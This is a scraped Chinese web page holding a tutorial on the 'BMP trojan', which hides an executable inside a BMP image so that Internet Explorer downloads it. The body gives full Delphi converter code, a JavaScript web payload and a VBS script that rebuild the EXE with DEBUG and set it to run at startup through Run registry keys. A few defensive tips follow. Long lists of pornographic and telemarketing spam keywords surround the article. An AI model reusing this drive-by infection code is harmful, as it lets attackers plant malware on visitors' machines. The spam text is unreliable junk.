成人性生交大片免费看视频r_亚洲综合极品香蕉久久网_在线视频免费观看一区_亚洲精品亚洲人成人网在线播放_国产精品毛片av_久久久久国产精品www_亚洲国产一区二区三区在线播_日韩一区二区三区四区区区_亚洲精品国产无套在线观_国产免费www

主頁 > 知識庫 > 詳解BMP木馬

詳解BMP木馬

熱門標(biāo)簽:臨滄移動外呼系統(tǒng)哪家有 溫嶺代理外呼系統(tǒng) 寧夏保險智能外呼系統(tǒng)哪家好 交行外呼系統(tǒng)有哪些 激戰(zhàn)黃昏地圖標(biāo)注說明 不同的地圖標(biāo)注 怎么更改地圖標(biāo)注電話 防城港市ai電銷機(jī)器人 隨州銷售外呼系統(tǒng)平臺
首先說明這不是什么新的東西,但最近有人說我們沒有,那就隨便寫編文章放上來了,大家自己試驗(yàn)一下. 何謂BMP網(wǎng)頁木馬?它和過去早就用臭了的MIME頭漏洞的木馬不同,MIME木馬是把一個EXE文件用MIME編碼為一個EML(OUT LOOK信件)文件,放到網(wǎng)頁上利用IE和OE的編碼漏洞實(shí)現(xiàn)自動下載和執(zhí)行. 
然而BMP木馬就不同,它把一個EXE文件偽裝成一個BMP圖片文件,欺騙IE自動下載,再利用網(wǎng)頁中的javascript腳本查找客戶端的Internet臨時文件夾,找到下載后的BMP文件,把它拷貝到TEMP目錄.再編寫一個腳本把找到的BMP文件用DEBUG還原成EXE,并把它放到注冊表啟動項(xiàng)中,在下一次開機(jī)時執(zhí)行.但是這種技術(shù)只能在9X下發(fā)揮作用,對于2K,XP來說是無能為力了. 

看上去好象很復(fù)雜,下面我們一步一步來: 
1) EXE變BMP的方法. 
大家自己去查查BMP文件資料就會知道,BMP文件的文件頭有54個字節(jié),簡單來說里面包含了BMP文件的長寬,位數(shù),文件大小,數(shù)據(jù)區(qū)長度,我們只要在EXE文件的文件頭前面添加相應(yīng)的BMP文件頭(當(dāng)然BMP文件頭里面的數(shù)據(jù)要符合EXE文件的大小啦),這樣就可以欺騙IE下載該BMP文件,開始我們用JPG文件做過試驗(yàn),發(fā)現(xiàn)如果文件頭不正確的話,IE是不會下載的,轉(zhuǎn)換代碼如下: 

program exe2bmp; 

uses 
Windows, 
SysUtils; 

var len,row,col,fs: DWORD; 
buffer: array[0..255]of char; 
fd: WIN32_FIND_DATA; 
h,hw: THandle; 

begin 
if (ParamStr(1)>) and(ParamStr(2)>) then begin //如果運(yùn)行后沒有兩個參數(shù)則退出 
if FileExists(ParamStr(1)) then begin 
FindFirstFile(Pchar(ParamStr(1)),fd); 
fs:=fd.nFileSizeLow; 
col := 4; 
while true do begin 
if (fs mod 12)=0 then begin 
len:=fs; 
end else len:=fs+12-(fs mod 12); 
row := len div col div 3; 
if row>col then begin 
col:=col+4; 
end else Break; 
end; 
FillChar(buffer,256,0); 
{一下為BMP文件頭數(shù)據(jù)} 
Buffer[0]:=B;Buffer[1]:=M; 
PDWORD(@buffer[18])^:=col; 
PDWORD(@buffer[22])^:=row; 
PDWORD(@buffer[34])^:=len; 
PDWORD(@buffer[2])^:=len+54; 
PDWORD(@buffer[10])^:=54; 
PDWORD(@buffer[14])^:=40; 
PWORD(@buffer[26])^:=1; 
PWORD(@buffer[28])^:=24; 
{寫入文件} 
hw:=CreateFile(Pchar(ParamStr(2)),GENERIC_WRITE,FILE_SHARE_READ or FILE_SHARE_WRITE,nil,CREATE_ALWAYS,0,0); 
h:=CreateFile(Pchar(ParamStr(1)),GENERIC_READ,FILE_SHARE_READ or FILE_SHARE_WRITE,nil,OPEN_EXISTING,0,0); 
WriteFile(hw,buffer,54,col,0); 
repeat 
ReadFile(h,buffer,256,col,0); 
WriteFile(hw,buffer,col,col,0); 
untilcol>256; 
WriteFile(hw,buffer,len-fs,col,0); 
CloseHandle(h); 
CloseHandle(hw); 
end; 
end; 
end. 


以上代碼可以在DELPHI4,5,6中編譯 ,就可以得到一個exe2bmp.exe文件.大家打開MSDOS方式,輸入 
exe2bmp myexe.exe mybmp.bmp 
回車就可以把第二個參數(shù)所指定的EXE文件轉(zhuǎn)換成BMP格式. 
接著就是把這個BMP圖片放到網(wǎng)頁上了,如果大家打開過這張圖片的話,一定發(fā)現(xiàn)這張BMP又花,顏色又單調(diào).所以大家放在網(wǎng)頁上最好用這樣的格式 


以下是放在網(wǎng)頁上的腳本 
document.write( ); 
function docsave() 
{ 
a=document.applets[0]; 
a.setCLSID({F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}); 
a.createInstance(); 
wsh=a.GetObject(); 
a.setCLSID({0D43FE01-F093-11CF-8940-00A0C9054228}); 
a.createInstance(); 
fso=a.GetObject(); 
var winsys=fso.GetSpecialFolder(1); 
var vbs=winsys+\\s.vbs; 
wsh.RegWrite 
(HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\vbs,wscript +"+vbs+" ); 
var st=fso.CreateTextFile(vbs,true); 
st.WriteLine(Option Explicit); 
st.WriteLine(Dim FSO,WSH,CACHE,str); 
st.WriteLine(Set FSO = CreateObject("Scripting.FileSystemObject")); 
st.WriteLine(Set WSH = CreateObject("WScript.Shell")); 
st.WriteLine(CACHE=wsh.RegRead("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ShellFolders\\Cache")); 
st.WriteLine(wsh.RegDelete("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\vbs")); 
st.WriteLine (wsh.RegWrite "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\tmp","tmp.exe"); 
st.WriteLine(SearchBMPFile fso.GetFolder(CACHE),"mybmp[1].bmp"); 
st.WriteLine(WScript.Quit()); 
st.WriteLine(Function SearchBMPFile(Folder,fname)); 
st.WriteLine( Dim SubFolder,File,Lt,tmp,winsys); 
st.WriteLine( str=FSO.GetParentFolderName(folder)  "\\"  folder.name  "\\"  fname); 
st.WriteLine( if FSO.FileExists(str) then); 
st.WriteLine( tmp=fso.GetSpecialFolder(2)  "\\"); 
st.WriteLine( winsys=fso.GetSpecialFolder(1)  "\\"); 
st.WriteLine( set File=FSO.GetFile(str)); 
st.WriteLine( File.Copy(tmp  "tmp.dat")); 
st.WriteLine( File.Delete); 
st.WriteLine( set Lt=FSO.CreateTextFile(tmp  "tmp.in")); 
st.WriteLine( Lt.WriteLine("rbx")); 
st.WriteLine( Lt.WriteLine("0")); 
st.WriteLine( Lt.WriteLine("rcx")); 
st.WriteLine( Lt.WriteLine("1000")); 
st.WriteLine( Lt.WriteLine("w136")); 
st.WriteLine( Lt.WriteLine("q")); 
st.WriteLine( Lt.Close); 
st.WriteLine( WSH.Run "command /c debug "  tmp  "tmp.dat "  tmp  "tmp.in >"  tmp  "tmp.out",false,6); 
st.WriteLine( On Error Resume Next ); 
st.WriteLine( FSO.GetFile(tmp  "tmp.dat").Copy(winsys  "tmp.exe")); 
st.WriteLine( FSO.GetFile(tmp  "tmp.dat").Delete); 
st.WriteLine( FSO.GetFile(tmp  "tmp.in").Delete); 
st.WriteLine( FSO.GetFile(tmp  "tmp.out").Delete); 
st.WriteLine( end if); 
st.WriteLine( If Folder.SubFolders.Count > 0 Then); 
st.WriteLine( For Each SubFolder In Folder.SubFolders); 
st.WriteLine( SearchBMPFile SubFolder,fname); 
st.WriteLine( Next); 
st.WriteLine( End If); 
st.WriteLine(End Function); 
st.Close(); 
} 
setTimeout(docsave(),1000); 

把該腳本保存為"js.js",在網(wǎng)頁中插入: 


該腳本主要會在本地機(jī)器的SYSTEM目錄下生成一個“S.VBS”文件,該腳本文件會在下次開機(jī)時自動運(yùn)行。主要用于從臨時目錄中找出mybmp[1].bmp文件。 
“S.VBS”文件主要內(nèi)容如下: 

Option Explicit 
Dim FSO,WSH,CACHE,str 
Set FSO = CreateObject("Scripting.FileSystemObject") 
Set WSH = CreateObject("WScript.Shell") 
CACHE=wsh.RegRead("HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellFolders\Cache") 
wsh.RegDelete("HKCU\Software\Microsoft\Windows\CurrentVersion\Run\vbs") 
wsh.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\tmp","tmp.exe" 
SearchBMPFile fso.GetFolder(CACHE),"mybmp[1].bmp" 
WScript.Quit() 
Function SearchBMPFile(Folder,fname) 
Dim SubFolder,File,Lt,tmp,winsys 
從臨時文件夾中查找目標(biāo)BMP圖片 
str=FSO.GetParentFolderName(folder)  "\"  folder.name  "\"  fname 
if FSO.FileExists(str) then 
tmp=fso.GetSpecialFolder(2)  "\" 
winsys=fso.GetSpecialFolder(1)  "\" 
set File=FSO.GetFile(str) 
File.Copy(tmp  "tmp.dat") 
File.Delete 
生成一個DEBUG腳本 
set Lt=FSO.CreateTextFile(tmp  "tmp.in") 
Lt.WriteLine("rbx") 
Lt.WriteLine("0") 
Lt.WriteLine("rcx") 
下面一行的1000是十六進(jìn)制,換回十進(jìn)制是4096(該數(shù)字是你的EXE文件的大小) 
Lt.WriteLine("1000") 
Lt.WriteLine("w136") 
Lt.WriteLine("q") 
Lt.Close 
WSH.Run "command /c debug "  tmp  "tmp.dat "  tmp "tmp.in>"  tmp  "tmp.out",false,6 
On Error Resume Next 
FSO.GetFile(tmp  "tmp.dat").Copy(winsys  "tmp.exe") 
FSO.GetFile(tmp  "tmp.dat").Delete 
FSO.GetFile(tmp  "tmp.in").Delete 
FSO.GetFile(tmp  "tmp.out").Delete 
end if 
If Folder.SubFolders.Count > 0 Then 
For Each SubFolder In Folder.SubFolders 
SearchBMPFile SubFolder,fname 
Next 
End If 
End Function 

這個腳本會找出在臨時文件夾中的bmp文件,并生成一個DEBUG的腳本,運(yùn)行時會自動從BMP文件54字節(jié)處讀去你指定大小的數(shù)據(jù),并把它保存到tmp.dat中.后面的腳本再把它復(fù)制到SYSTEM的目錄下.這個被還原的EXE文件會在下次重起的時候運(yùn)行.這就是BMP木馬的基本實(shí)現(xiàn)過程. 
詳細(xì)腳本代碼請參考http://hotsky.363.net 

防范方法: 
最簡單,刪除或改名wscrpit.exe文件和DEBUG 文件; 
安裝有效的殺毒軟件,因?yàn)檫@些腳本有好多殺毒軟件已經(jīng)可以查出來了. 
在條件允許的情況下,安裝WIN2K SP3,盡量避免去一些不名來歷的網(wǎng)站. 

標(biāo)簽:忻州 青海 哈密 沈陽 河源 無錫 阜陽 紅河

巨人網(wǎng)絡(luò)通訊聲明:本文標(biāo)題《詳解BMP木馬》,本文關(guān)鍵詞  詳解,BMP,木馬,詳解,BMP,木馬,;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問題,煩請?zhí)峁┫嚓P(guān)信息告之我們,我們將及時溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無關(guān)。
  • 相關(guān)文章
  • 下面列出與本文章《詳解BMP木馬》相關(guān)的同類信息!
  • 本頁收集關(guān)于詳解BMP木馬的相關(guān)信息資訊供網(wǎng)民參考!
  • 推薦文章
    国产农村妇女毛片精品久久| 一本色道久久综合一区| 一起草在线视频| 久久久久久成人精品| 97av视频在线观看| 久久久久久久久91| 欧美一区二区日韩| 日韩有吗在线观看| 91成人国产综合久久精品| 国产玉足榨精视频在线观看| 超碰成人97| 久在线观看视频| 成人p站proumb入口| 欧美a在线播放| 中日韩精品一区二区三区| 国产一区在线免费| 无人码人妻一区二区三区免费| 日韩欧美国产综合在线一区二区三区| 久久欧美一区二区| 久久影院理伦片| 国产精品三p一区二区| 奇米视频888| 97热精品视频官网| 一区二区三区电影大全| 亚洲xxxxx电影| 国产性生活一级片| 精品日韩美女| 无码少妇精品一区二区免费动态| 欧美在线观看不卡| 欧美成a人片免费观看久久五月天| 男人舔女人下部高潮全视频| 少妇在线看www| 色婷婷综合久久久久久| 亚洲天堂av片| 日韩一区二区三区久久| 国产欧美日韩精品a在线观看| 欧美人狂配大交3d怪物一区| 欧美特黄色片| 欧美性生活一区| 国产高清免费在线观看| 国产农村一级特黄α**毛片| 欧美色综合影院| 国产综合av一区二区三区| 国产成人a人亚洲精品无码| 欧美精品入口| 欧洲一区二区三区| 久久成人精品电影| 98精品久久久久久久| 香港成人在线视频| 给个网站可以在线观看你懂的| 少妇太紧太爽又黄又硬又爽小说| 国产在线观看免费| www.先锋影音av| 在线视频国内自拍亚洲视频| 要久久爱电视剧全集完整观看| 亚洲欧洲日产国码无码久久99| 一本色道久久88亚洲精品综合| 成人黄色在线观看| 最近免费看av| 波多野结衣视频观看| 日本精品视频在线| 老司机精品视频导航| 亚洲高清久久久| 超碰在线人人干| 亚洲成人免费电影| 免费黄色网址在线| 婷婷久久综合九色综合99蜜桃| 四虎国产精品永久地址998| 夜鲁夜鲁夜鲁视频在线播放| 少妇无套高潮一二三区| 久色乳综合思思在线视频| 国产夫妻性生活视频| 日韩aaa久久蜜桃av| 亚洲av首页在线| 国产免费福利| 综合激情网...| 97精品人妻一区二区三区香蕉| 亚洲成人激情在线观看| 69视频在线观看免费| 国产日韩中文字幕| 欧美一区,二区| 亚洲2020天天堂在线观看| 四虎永久免费| 搡女人真爽免费午夜网站| 日本一区二区三区视频视频| 黑粗硬大欧美视频| 伊人精品在线视频| 精品91视频| 国产在线麻豆精品| 欧美自拍偷拍一区| 在线满18网站观看视频| 亚洲综合精品久久| 91av在线视频观看| 色狠狠av一区二区三区| 国产精品爽黄69| 亚洲丁香婷深爱综合| 亚洲综合中文字幕在线观看| 久久久久久国产免费a片| 欧美日本韩国一区二区| h版电影在线播放视频网站| 人人狠狠综合久久亚洲婷婷| 亚洲一区二区三区免费在线观看| fc2ppv国产精品久久| 麻豆网址在线观看| 成人做爰69片免费看网站| 亚洲精品综合网| 亚洲一级特黄| 日韩一区二区三区四区五区| 日韩欧美在线观看一区二区三区| 国产成人亚洲精品无码h在线| 国产在线一二| 国产精品黄页网站在线播放免费| 一区精品视频| 在免费jizzjizz在线视频| 成人在线免费在线观看| 日韩欧美国产成人一区二区| 亚洲奶大毛多的老太婆| 久久精精品视频| 亚洲国产合集| 97精品在线播放| 欧美一二三四区在线| japanese色系久久精品| 久久久精品久久| 日韩精品一区二区三区久久| 在线观看国产一区二区| 亚洲人成电影在线观看天堂色| 亚洲欧美国产另类| 亚洲xxx在线观看| 国产成人成网站在线播放青青| 欲求不满中文字幕| 欧美第一黄网免费网站| 欧美极品在线视频| 日韩特级黄色片| 亚洲护士老师的毛茸茸最新章节| 欧洲一级在线观看| 久草精品电影| 男人与禽猛交狂配| cao在线观看| 欧美美女在线直播| 国产精品无码在线| 一色桃子av在线| 亚洲精品第一国产综合野| 日韩免费一区| 激情小视频在线| 欧美精品一级片| 又骚又黄的视频| 秋霞欧美一区二区三区视频免费| 日日摸夜夜添夜夜添亚洲女人| 成人天堂噜噜噜| 精品视频在线你懂得| 中文字幕 自拍偷拍| 91精品国产自产在线老师啪| 久久精品国产亚洲5555| 91网址在线播放| 欧美精品电影在线播放| 国产成人免费视频网站视频社区| 日韩精品无码一区二区三区免费| 久久精品欧美一区二区三区麻豆| 国产精品加勒比| 亚洲欧美偷拍卡通变态| 女人黄色片免费| 波多野结衣av一区二区全免费观看| 男女在线视频| 永久久久免费浮力影院| 传媒视频在线| 午夜久久tv| www..com久久爱| 天堂中文www在线| 亚洲人成网站精品片在线观看| 91精品影视| 99久久自偷自偷国产精品不卡| 三区在线视频| 国产传媒一区二区| 亚洲一区在线看| 天堂社区 天堂综合网 天堂资源最新版| 亚洲综合久久网| 久久一区二区中文字幕| 精品精品国产三级a∨在线| 色婷婷综合久色| 国产99精品视频| 97人妻精品一区二区三区视频| 夜夜春成人影院| 伊人青青综合网站| 精品一区二区三区在线观看国产| 精品国产91久久久久久老师| 午夜免费播放观看在线视频| 美女18一级毛片一品久道久久综合| 精品视频成人| 午夜精品www| 亚洲va男人天堂| 美女在线免费视频| 午夜剧场在线免费观看| 日韩精品视频一区二区| 涩涩视频在线观看下载| 久久av无码精品人妻系列试探| 99热免费精品在线观看| 国产一区二区电影在线观看| 手机看片1024久久| 欧美日韩看看2015永久免费| 你懂的在线观看网站| 国产美女www| 亚洲精品午夜av福利久久蜜桃| 日韩av中文字幕一区二区三区| 国产视频三级在线观看播放| 中文字幕欧美日韩精品| 一根才成人网| 中文乱码字幕高清在线观看| 国产亚洲精品综合一区91| 午夜国产一级| 国产成人一区二区三区别| 亚洲欧美在线成人| 色偷偷偷在线视频播放| 精品一区中文字幕| 992tv快乐视频| 欧美日韩国产成人高清视频| 亚洲精选一区| 欧美色涩在线第一页| 中文字幕一区日韩电影| 国产欧美综合在线| 国产一区二区久久久久| 国产xxxxxx久色视频在| 精品日本一区二区| 99久热re在线精品视频| 大黑人交xxx极品hd| 中文字幕在线观看不卡| 欧洲vodafone精品| 九色视频在线播放| 在线观看特色大片免费视频| 久久久国产精品无码| 免费一区二区三区| av每日在线更新| 成人三级视频在线观看| 高清在线观看日韩| 天天干夜夜夜操| 99这里只有精品| 久久亚洲AV无码专区成人国产| 欧美日韩视频在线播放| 四虎成人欧美精品在永久在线| 久久久精品中文字幕| 要久久电视剧全集免费| 欧美日本视频在线| 污视频网站免费| 国产精品传媒在线| 波多野结衣办公室33分钟| 成人精品久久一区二区三区| 丁香花高清在线观看完整版| 国产麻豆精品在线| 欧美黄色免费看| 99riav久久精品riav| 91在线免费看| 自拍偷拍亚洲欧美日韩| 四季av在线一区二区三区| 法国空姐在线观看免费| 亚洲淫性视频| 色七七影院综合| 视频在线一区二区| 精品剧情在线观看| 久久国内精品视频| 伊人色综合久久久| 国产精品推荐精品| 久久亚洲私人国产精品va| 亚洲视频一区| 国产精品伦理在线| 国内小视频在线看| 欧美 亚洲 视频| 蜜桃av中文字幕| 国产性生活视频| 久久综合999| 精品一区二区三区在线观看l| 亚洲精品中文字幕无码蜜桃| 欧美一级在线播放| 亚洲大片一区二区三区| 中文字幕日韩综合av| 欧美高清3dfreexxxx性| 国产一区99| 国产高清免费在线播放| 鲁片一区二区三区| 欧美国产欧美亚州国产日韩mv天天看完整| 青草影视电视剧免费播放在线观看| 亚洲免费观看在线视频| 亚洲激情av在线| 国产传媒欧美日韩成人精品大片| 日韩一区二区三区电影| 亚洲高清精品中出| 日本不卡二三区| 久久这里只有精品视频首页| 26uuu另类欧美| 亚洲第一精品夜夜躁人人爽| 999一区二区三区| www.日本在线视频| 国产鲁鲁视频在线观看免费| av在线com| 精品久久sese| 欧美日韩日日夜夜| 亚洲国产精品一区二区第一页| 欧美疯狂性受xxxxx另类| 日本最新在线视频| 中文字幕av一区二区三区| 精品福利一区二区三区免费视频| 午夜免费欧美电影| 亚洲小说区图片区| 婷婷六月综合网| 精品人体无码一区二区三区| 成人性片免费| 中文字幕一区二区人妻痴汉电车| 久久综合导航| 91麻豆一二三四在线| 久久免费视频3| 好吊日免费视频| 国产精品美女主播| 亚洲激情图片小说视频| 色天使久久综合网天天| 91大神精品| 国产在线资源| 午夜久久99| 人妻互换一区二区激情偷拍| 少妇高潮一区二区三区99小说| 在线播放/欧美激情| 日韩一区二区三区久久| 欧美污视频久久久| 国产精品美女视频免费观看软件| 国产精品福利久久久| 91色婷婷久久久久合中文| 丝袜美腿美女被狂躁在线观看| 成年人av电影| 中文字幕jux大岛优香| 成人写真视频福利网| 久久久久久久久免费视频|